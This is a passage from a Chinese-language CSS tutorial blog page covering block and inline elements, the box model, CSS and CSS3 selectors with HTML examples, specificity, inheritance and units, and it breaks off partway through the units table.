href="#块级元素和行内元素" class="headerlink" title="块级元素和行内元素"></a>块级元素和行内元素</h2><p><strong>块级元素</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-tag">div</span></span><br><span class="line"><span class="selector-tag">p</span></span><br><span class="line"><span class="selector-tag">h1</span>-<span class="selector-tag">h6</span></span><br><span class="line"><span class="selector-tag">ul</span>+<span class="selector-tag">li</span>  <span class="selector-tag">ol</span>+<span class="selector-tag">li</span>  <span class="selector-tag">dl</span>+<span class="selector-tag">dt</span>+<span class="selector-tag">dd</span></span><br><span class="line">hr</span><br></pre></td></tr></table></figure><p>特点：</p><ul><li>独占一行</li><li>可设置宽高，宽度默认100%，高度由内容决定（可参考父级高度设置百分比，如 height：100%）</li><li>可设置内外边距</li><li>可容纳行内元素和块级元素</li></ul><p><strong>行内元素</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-tag">a</span>   <span class="selector-tag">span</span>   <span class="selector-tag">strong</span>   <span class="selector-tag">b</span>   <span class="selector-tag">em</span>   <span class="selector-tag">i</span>   sub   <span class="selector-tag">sup</span>   u </span><br></pre></td></tr></table></figure><p>特点：</p><ul><li><p>和相邻行内元素在一行上</p></li><li><p>不能设置宽高，高度由内容决定（可通过line-height来设置高度）</p></li><li><p>垂直方向的padding和margin设置无效，但水平方向的padding和margin可以设置</p></li><li><p>只能容纳文本或行内元素</p></li></ul><p><strong>特殊：a可以包裹任意块级元素 最好外面包裹一层div布局</strong></p><p><strong>行内块级元素</strong></p><p>特点：</p><ul><li>不单独占满一行，可以看成是能够在一行里进行左右排列的块元素</li></ul><ul><li>可设置宽高（如果元素没有设置宽高，则宽高由内容决定）</li><li>可设置内外边距</li></ul><h2 id="行内和块级元素转换"><a href="#行内和块级元素转换" class="headerlink" title="行内和块级元素转换"></a>行内和块级元素转换</h2><p><strong>1. display</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="attribute">display</span>: block; <span class="comment">/* 行内元素转块级元素 */</span></span><br><span class="line"></span><br><span class="line"><span class="attribute">display</span>: inline; <span class="comment">/* 块级元素转行内元素 */</span></span><br><span class="line"></span><br><span class="line"><span class="attribute">display</span>: inline-block; <span class="comment">/* 行内块元素 */</span></span><br></pre></td></tr></table></figure><p><strong>2. float</strong></p><p>若设置行内元素为：</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="attribute">float</span>: left;</span><br><span class="line"><span class="comment">/* 或者 */</span></span><br><span class="line"><span class="attribute">float</span>: right;</span><br></pre></td></tr></table></figure><p>则该行内元素转换为<strong>块级元素</strong>，且具有浮动特性</p><p><strong>3. position</strong></p><p>若为行内元素进行定位为：</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="attribute">position</span>: absolute;</span><br><span class="line"><span class="comment">/* 或者 */</span></span><br><span class="line"><span class="attribute">position</span>: fixed;</span><br></pre></td></tr></table></figure><p>会把行内元素转换为<strong>块级元素</strong></p><h1 id="CSS"><a href="#CSS" class="headerlink" title="CSS"></a>CSS</h1><h2 id="盒子模型"><a href="#盒子模型" class="headerlink" title="盒子模型"></a>盒子模型</h2><p><strong>CSS的盒子模型有两种：</strong></p><ul><li>IE 盒子模型（content部分包含了border 和padding）</li><li>标准W3C盒子模型，如下图：</li></ul><img src="https://www.runoob.com/images/box-model.gif" /><p><strong>盒子模型</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">内容(<span class="attribute">content</span>)    内边距(<span class="attribute">padding</span>)    边框(<span class="attribute">border</span>)    外边距(<span class="attribute">margin</span>)</span><br></pre></td></tr></table></figure><p>许多元素将由用户代理样式表设置外边距和内边距。可以通过将元素的 margin 和 padding 设置为零来覆盖这些浏览器样式</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">* &#123;</span><br><span class="line">  <span class="attribute">margin</span>: <span class="number">0</span>;</span><br><span class="line">  <span class="attribute">padding</span>: <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在 CSS 中，width 和 height 指的是内容区域的宽度和高度。增加内边距、边框和外边距不会影响内容区域的尺寸，但是会增加元素框的总尺寸，例如</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-id">#box</span> &#123;</span><br><span class="line">  <span class="attribute">width</span>: <span class="number">70px</span>;</span><br><span class="line">  <span class="attribute">margin</span>: <span class="number">10px</span>;</span><br><span class="line">  <span class="attribute">padding</span>: <span class="number">5px</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><img src="https://www.w3school.com.cn/i/ct_css_boxmodel_example.gif"><p><strong>盒子宽高</strong></p><p>1.元素空间大小</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">元素空间宽度 = <span class="attribute">width</span>+ <span class="attribute">padding</span> + <span class="attribute">margin</span> + <span class="attribute">border</span></span><br><span class="line">元素空间高度 = <span class="attribute">height</span> + <span class="attribute">padding</span> + <span class="attribute">margin</span> + <span class="attribute">border</span></span><br></pre></td></tr></table></figure><p>2.元素实际大小</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">元素实际宽度 = <span class="attribute">width</span>+ <span class="attribute">padding</span> + <span class="attribute">margin</span></span><br><span class="line">元素实际高度 = <span class="attribute">height</span> + <span class="attribute">padding</span> + <span class="attribute">margin</span></span><br></pre></td></tr></table></figure><blockquote><p>可以分成两种情况</p></blockquote><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="attribute">box-sizing</span>: content-box; 盒子大小 = <span class="attribute">width</span> + <span class="attribute">padding</span> + <span class="attribute">border</span>（默认值）</span><br><span class="line"><span class="attribute">box-sizing</span>: border-box;盒子大小 =  <span class="attribute">width</span>（就是说  <span class="attribute">padding</span> 和 <span class="attribute">border</span> 是包含到<span class="attribute">width</span>里面的）</span><br></pre></td></tr></table></figure><h2 id="选择器"><a href="#选择器" class="headerlink" title="选择器"></a>选择器</h2><h3 id="CSS选择器"><a href="#CSS选择器" class="headerlink" title="CSS选择器"></a>CSS选择器</h3><h4 id="基本选择器"><a href="#基本选择器" class="headerlink" title="基本选择器"></a>基本选择器</h4><table><thead><tr><th>序号</th><th>选择器</th><th>含义</th><th>示例</th></tr></thead><tbody><tr><td>1</td><td>div、p</td><td>元素选择器</td><td>p { color: red }</td></tr><tr><td>2</td><td>#id</td><td>id选择器</td><td>#info { color: red }</td></tr><tr><td>3</td><td>.class</td><td>类名选择器</td><td>.name { color: red }</td></tr><tr><td>4</td><td>*</td><td>通配符选择器</td><td>* { margin: 0; padding: 0;}</td></tr></tbody></table><h4 id="多元素的组合选择器"><a href="#多元素的组合选择器" class="headerlink" title="多元素的组合选择器"></a>多元素的组合选择器</h4><table><thead><tr><th>序号</th><th>选择器</th><th>含义</th><th>示例</th></tr></thead><tbody><tr><td>1</td><td>div,p     .one, p</td><td>多元素选择器</td><td>div,p { color: red }</td></tr><tr><td>2</td><td>div p     .one p</td><td>后代选择器</td><td>.one p { color: red }</td></tr><tr><td>3</td><td>div&gt;p   .one&gt;p</td><td>子元素选择器</td><td>.one p { color: red }</td></tr><tr><td>4</td><td>div+p   .one+p</td><td>相邻元素选择器</td><td>.one+p { color: red }</td></tr></tbody></table><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">交集选择器 (<span class="selector-tag">div</span><span class="selector-class">.one</span>,  <span class="selector-tag">p</span><span class="selector-class">.red</span>)</span><br><span class="line">并集选择器 (<span class="selector-class">.red</span>, <span class="selector-tag">p</span>)</span><br></pre></td></tr></table></figure><h4 id="属性选择器"><a href="#属性选择器" class="headerlink" title="属性选择器"></a>属性选择器</h4><table><thead><tr><th>序号</th><th>选择器</th><th>含义</th><th>示例</th></tr></thead><tbody><tr><td>1</td><td>E[att]</td><td>匹配所有具有att属性的E元素（E在此处可以省略，以下同）</td><td></td></tr><tr><td>2</td><td>E[att=val]</td><td>匹配所有att属性等于”val”的E元素</td><td></td></tr><tr><td>3</td><td>E[att~=val]</td><td>匹配所有att属性具有多个空格分隔的值、其中一个值等于”val”的E元素</td><td></td></tr><tr><td>4</td><td>E[att|=val]</td><td>匹配所有att属性具有多个连字号分隔（hyphen-separated）的值、其中一个值以”val”开头的E元素，主要用于lang属性，比如”en”、”en-us”、”en-gb”等等</td><td></td></tr></tbody></table><p><strong>[attr]</strong> </p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-attr">[title]</span> &#123;</span><br><span class="line"><span class="attribute">color</span>:red;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>匹配</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">h3</span> <span class="attr">title</span>=<span class="string">&quot;Hello world&quot;</span>&gt;</span>Hello world<span class="tag">&lt;/<span class="name">h3</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">title</span>=<span class="string">&quot;W3School&quot;</span> <span class="attr">href</span>=<span class="string">&quot;http://w3school.com.cn&quot;</span>&gt;</span>W3School<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>[attr=val]</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-attr">[title=W3School]</span> &#123;</span><br><span class="line"><span class="attribute">color</span>:red;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>匹配</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">h3</span> <span class="attr">title</span>=<span class="string">&quot;W3School&quot;</span>&gt;</span>W3School<span class="tag">&lt;/<span class="name">h3</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">title</span>=<span class="string">&quot;W3School&quot;</span> <span class="attr">href</span>=<span class="string">&quot;http://w3school.com.cn&quot;</span>&gt;</span>W3School<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>[attr~=val]</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-attr">[title~=hello]</span> &#123;</span><br><span class="line"><span class="attribute">color</span>:red;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>匹配</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">h3</span> <span class="attr">title</span>=<span class="string">&quot;hello world&quot;</span>&gt;</span>Hello world<span class="tag">&lt;/<span class="name">h3</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span> <span class="attr">title</span>=<span class="string">&quot;student hello&quot;</span>&gt;</span>Hello W3School students!<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>[attr|=val]</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-attr">[lang|=en]</span> &#123;</span><br><span class="line"><span class="attribute">color</span>:red;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>匹配</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">p</span> <span class="attr">lang</span>=<span class="string">&quot;en&quot;</span>&gt;</span>Hello!<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span> <span class="attr">lang</span>=<span class="string">&quot;en-us&quot;</span>&gt;</span>Hi!<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="伪类"><a href="#伪类" class="headerlink" title="伪类"></a>伪类</h4><table><thead><tr><th>序号</th><th>选择器</th><th>含义</th></tr></thead><tbody><tr><td>1</td><td>E:first-child</td><td>匹配父元素的第一个子元素</td></tr><tr><td>2</td><td>E:link</td><td>匹配所有未被点击的链接</td></tr><tr><td>3</td><td>E:visited</td><td>匹配所有已被点击的链接</td></tr><tr><td>4</td><td>E:active</td><td>匹配鼠标已经其上按下、还没有释放的E元素</td></tr><tr><td>5</td><td>E:hover</td><td>匹配鼠标悬停其上的E元素</td></tr><tr><td>6</td><td>E:focus</td><td>匹配获得当前焦点的E元素</td></tr><tr><td>7</td><td>E:lang(c)</td><td>匹配lang属性等于c的E元素</td></tr></tbody></table><h4 id="伪元素"><a href="#伪元素" class="headerlink" title="伪元素"></a>伪元素</h4><table><thead><tr><th>序号</th><th>选择器</th><th>含义</th></tr></thead><tbody><tr><td>1</td><td>E:first-line</td><td>匹配E元素的第一行</td></tr><tr><td>2</td><td>E:first-letter</td><td>匹配E元素的第一个字母</td></tr><tr><td>3</td><td>E:before</td><td>在E元素之前插入生成的内容</td></tr><tr><td>4</td><td>E:after</td><td>在E元素之后插入生成的内容</td></tr></tbody></table><h3 id="CSS3选择器"><a href="#CSS3选择器" class="headerlink" title="CSS3选择器"></a>CSS3选择器</h3><h4 id="CSS3同级元素通用选择器"><a href="#CSS3同级元素通用选择器" class="headerlink" title="CSS3同级元素通用选择器"></a>CSS3同级元素通用选择器</h4><table><thead><tr><th>序号</th><th>选择器</th><th>含义</th><th>示例</th></tr></thead><tbody><tr><td>1</td><td>E ~ F</td><td>匹配任何在E元素之后的同级F元素</td><td>p ~ .one { color: red }</td></tr></tbody></table><h4 id="CSS3属性选择器"><a href="#CSS3属性选择器" class="headerlink" title="CSS3属性选择器"></a>CSS3属性选择器</h4><table><thead><tr><th>序号</th><th>选择器</th><th>含义</th></tr></thead><tbody><tr><td>1</td><td>E[att^=”val”]</td><td>属性att的值以”val”开头的元素</td></tr><tr><td>2</td><td>E[att$=”val”]</td><td>属性att的值以”val”结尾的元素</td></tr><tr><td>3</td><td>E[att*=”val”]</td><td>属性att的值包含”val”字符串的元素</td></tr></tbody></table><h4 id="CSS3中与用户界面有关的伪类"><a href="#CSS3中与用户界面有关的伪类" class="headerlink" title="CSS3中与用户界面有关的伪类"></a>CSS3中与用户界面有关的伪类</h4><table><thead><tr><th>序号</th><th>选择器</th><th>含义</th></tr></thead><tbody><tr><td>1</td><td>E:enabled</td><td>匹配表单中激活的元素</td></tr><tr><td>2</td><td>E:disabled</td><td>匹配表单中禁用的元素</td></tr><tr><td>3</td><td>E:checked</td><td>匹配表单中被选中的radio（单选框）或checkbox（复选框）元素</td></tr><tr><td>4</td><td>E::selection</td><td>匹配用户当前选中的元素</td></tr></tbody></table><h4 id="CSS-3中的结构性伪类"><a href="#CSS-3中的结构性伪类" class="headerlink" title="CSS 3中的结构性伪类"></a>CSS 3中的结构性伪类</h4><table><thead><tr><th>序号</th><th>选择器</th><th>含义</th></tr></thead><tbody><tr><td>1</td><td>E:root</td><td>匹配文档的根元素，对于HTML文档，就是HTML元素</td></tr><tr><td>2</td><td>E:nth-child(n)</td><td>匹配其父元素的第n个子元素，第一个编号为1</td></tr><tr><td>3</td><td>E:nth-last-child(n)</td><td>匹配其父元素的倒数第n个子元素，第一个编号为1</td></tr><tr><td>4</td><td>E:nth-of-type(n)</td><td>与:nth-child()作用类似，但是仅匹配使用同种标签的元素</td></tr><tr><td>5</td><td>E:nth-last-of-type(n)</td><td>与:nth-last-child() 作用类似，但是仅匹配使用同种标签的元素</td></tr><tr><td>6</td><td>E:last-child</td><td>匹配父元素的最后一个子元素，等同于:nth-last-child(1)</td></tr><tr><td>7</td><td>E:first-of-type</td><td>匹配父元素下使用同种标签的第一个子元素，等同于:nth-of-type(1)</td></tr><tr><td>8</td><td>E:last-of-type</td><td>匹配父元素下使用同种标签的最后一个子元素，等同于:nth-last-of-type(1)</td></tr><tr><td>9</td><td>E:only-child</td><td>匹配父元素下仅有的一个子元素，等同于:first-child:last-child或 :nth-child(1):nth-last-child(1)</td></tr><tr><td>10</td><td>E:only-of-type</td><td>匹配父元素下使用同种标签的唯一一个子元素，等同于:first-of-type:last-of-type或 :nth-of-type(1):nth-last-of-type(1)</td></tr><tr><td>11</td><td>E:empty</td><td>匹配一个不包含任何子元素的元素，注意，文本节点也被看作子元素</td></tr></tbody></table><p><strong>p:nth-child(n)</strong></p><p> 选择作为其父的第二个子元素的每个 <p> 元素</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"> </span></span><br><span class="line"><span class="language-css"><span class="selector-tag">p</span><span class="selector-pseudo">:nth-child</span>(<span class="number">2</span>) &#123; <span class="attribute">background-color</span>: red; &#125;</span></span><br><span class="line"><span class="language-css"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">h1</span>&gt;</span>这是标题<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>第一个段落（背景红色***）<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>第二个段落<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>第三个段落<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>第四个段落<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>p:first-child</strong></p><p>选择作为其父的首个子元素的每个 <p> 元素</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css"><span class="selector-tag">p</span><span class="selector-pseudo">:first-child</span> &#123; <span class="attribute">background-color</span>: red; &#125;</span></span><br><span class="line"><span class="language-css"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>这个段落是其父元素（body）的首个子元素（背景红色***）<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">h1</span>&gt;</span>欢迎访问我的主页<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>这个段落不是其父元素的首个子元素<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>这个段落是其父元素（div）的首个子元素（背景红色***）<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>这个段落不是其父元素的首个子元素<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>你好<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>p:nth-of-type(2)</strong></p><p>选择作为其父的第二个 <p> 元素的每个 <p> 元素</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"> </span></span><br><span class="line"><span class="language-css"><span class="selector-tag">p</span><span class="selector-pseudo">:nth-of-type</span>(<span class="number">2</span>) &#123; <span class="attribute">background-color</span>: red; &#125;</span></span><br><span class="line"><span class="language-css"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">h1</span>&gt;</span>这是标题<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">h3</span>&gt;</span>这是标题<span class="tag">&lt;/<span class="name">h3</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>第一个段落<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>第二个段落（背景红色***）<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>第三个段落<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>第四个段落<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>第五个段落<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>p:first-of-type</strong></p><p>选择作为其父的首个 <p> 元素的每个 <p> 元素</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"> </span></span><br><span class="line"><span class="language-css"><span class="selector-tag">p</span><span class="selector-pseudo">:first-of-type</span> &#123; <span class="attribute">background-color</span>: red; &#125;</span></span><br><span class="line"><span class="language-css"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">h1</span>&gt;</span>这是标题<span class="tag">&lt;/<span class="name">h1</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>这是第一个段落（背景红色***）<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>这是第二个段落<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>这是第三个段落<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>这是第四个段落<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>p:only-of-type</strong></p><p>选择作为其父的唯一 <p> 元素的每个 <p> 元素</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"> </span></span><br><span class="line"><span class="language-css"><span class="selector-tag">p</span><span class="selector-pseudo">:only-of-type</span> &#123; <span class="attribute">background-color</span>: red; &#125;</span></span><br><span class="line"><span class="language-css"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>这是一个段落（背景红色***）<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>这是一个段落<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>这是一个段落<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>p:only-child</strong></p><p>选择作为其父的唯一子元素的 <p> 元素</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"> </span></span><br><span class="line"><span class="language-css"><span class="selector-tag">p</span><span class="selector-pseudo">:only-child</span> &#123; <span class="attribute">background-color</span>: red; &#125;</span></span><br><span class="line"><span class="language-css"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>这是一个段落（背景红色***）<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span>&gt;</span>这是一个段落<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">span</span>&gt;</span>这是一个 span<span class="tag">&lt;/<span class="name">span</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>这是一个段落<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="CSS3的反选伪类"><a href="#CSS3的反选伪类" class="headerlink" title="CSS3的反选伪类"></a>CSS3的反选伪类</h4><table><thead><tr><th>序号</th><th>选择器</th><th>含义</th><th>示例</th></tr></thead><tbody><tr><td>1</td><td>E:not(s)</td><td>匹配不符合当前选择器的任何元素</td><td>:not(p) { color: red }</td></tr></tbody></table><h4 id="CSS3中的-target-伪类"><a href="#CSS3中的-target-伪类" class="headerlink" title="CSS3中的 :target 伪类"></a>CSS3中的 :target 伪类</h4><table><thead><tr><th>序号</th><th>选择器</th><th>示例</th></tr></thead><tbody><tr><td>1</td><td>E:target</td><td>匹配文档中特定”id”点击后的效果</td></tr></tbody></table><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-pseudo">:target</span> &#123;</span><br><span class="line"><span class="attribute">color</span>: red;</span><br><span class="line"><span class="attribute">font-size</span>: <span class="number">30px</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>E::before和E::after</strong></p><p>在E元素内部的开始位置和结束位创建一个元素，该元素为行内元素，且必须要结合content属性使用。</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-tag">div</span><span class="selector-pseudo">::before</span> &#123;</span><br><span class="line">  <span class="attribute">content</span>:<span class="string">&quot;开始&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-tag">div</span><span class="selector-pseudo">::after</span> &#123;</span><br><span class="line">  <span class="attribute">content</span>:<span class="string">&quot;结束&quot;</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>E:after、E:before 在旧版本里是伪元素，CSS3的规范里“:”用来表示伪类，“::”用来表示伪元素，但是在高版本浏览器下E:after、E:before会被自动识别为E::after、E::before，这样做的目的是用来做兼容处理。</p><p>“:” 与 “::” 区别在于区分伪类和伪元素</p><p>之所以被称为伪元素，是因为他们不是真正的页面元素，html没有对应的元素，但是其所有用法和表现行为与真正的页面元素一样，可以对其使用诸如页面元素一样的css样式，表面上看上去貌似是页面的某些元素来展现，实际上是css样式展现的行为，因此被称为伪元素。是伪元素在html代码机构中的展现，可以看出无法伪元素的结构无法审查</p><p>伪元素:before和:after添加的内容默认是inline元素**；这个两个伪元素的<code>content</code>属性，表示伪元素的内容,设置:before和:after时必须设置其<code>content</code>属性，否则伪元素就不起作用。</p><h2 id="CSS优先级"><a href="#CSS优先级" class="headerlink" title="CSS优先级"></a>CSS优先级</h2><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">优先级为:</span><br><span class="line"><span class="meta">!important</span>  &gt;  id  &gt;  class  &gt;  元素标签（element）</span><br><span class="line"><span class="meta">!important</span> 比内联优先级高</span><br></pre></td></tr></table></figure><h2 id="CSS继承性"><a href="#CSS继承性" class="headerlink" title="CSS继承性"></a>CSS继承性</h2><p><strong>可继承样式属性</strong></p><p>属性存在默认继承的行为，一定是那些不会影响到页面布局的属性</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">字体相关：<span class="attribute">font-size</span>、<span class="attribute">font-weight</span>、<span class="attribute">font-style</span>、<span class="attribute">font-family</span> 等</span><br><span class="line">文本相关：<span class="attribute">color</span>、<span class="attribute">line-height</span>、<span class="attribute">white-space</span>、<span class="attribute">text-shadow</span>、<span class="attribute">text-align</span>、<span class="attribute">text-indent</span>、<span class="attribute">text-decoration</span>、<span class="attribute">letter-spacing</span>、<span class="attribute">word-spacing</span> 等</span><br><span class="line">其他属性：<span class="attribute">visibility</span>、<span class="attribute">cursor</span> 等</span><br></pre></td></tr></table></figure><p><strong>不可继承样式属性</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="attribute">border</span>、<span class="attribute">padding</span>、<span class="attribute">margin</span>、<span class="attribute">width</span>、<span class="attribute">height</span></span><br></pre></td></tr></table></figure><h2 id="CSS单位"><a href="#CSS单位" class="headerlink" title="CSS单位"></a>CSS单位</h2><p><strong>绝对单位</strong></p><table><thead><tr><th align="left">单位</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left">px</td><td align="left">像素 (1px = 1/96th of 1in)</td></tr></tbody></table><p><strong>相对单位</strong></p><table><thead><tr><th align="left">单位</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left">em</td><td align="left">它是描述相对于应用在当前元素的字体尺寸，所以它也是相对长度单位。一般浏览器字体大小默认为16px，则2em == 32px；</td></tr><tr><td align="left">ex</td><td align="left">依赖于英文字母小 x 的高度</td></tr><tr><td align="left">ch</td><td align="left">数字 0 的宽度</td></tr><tr><td 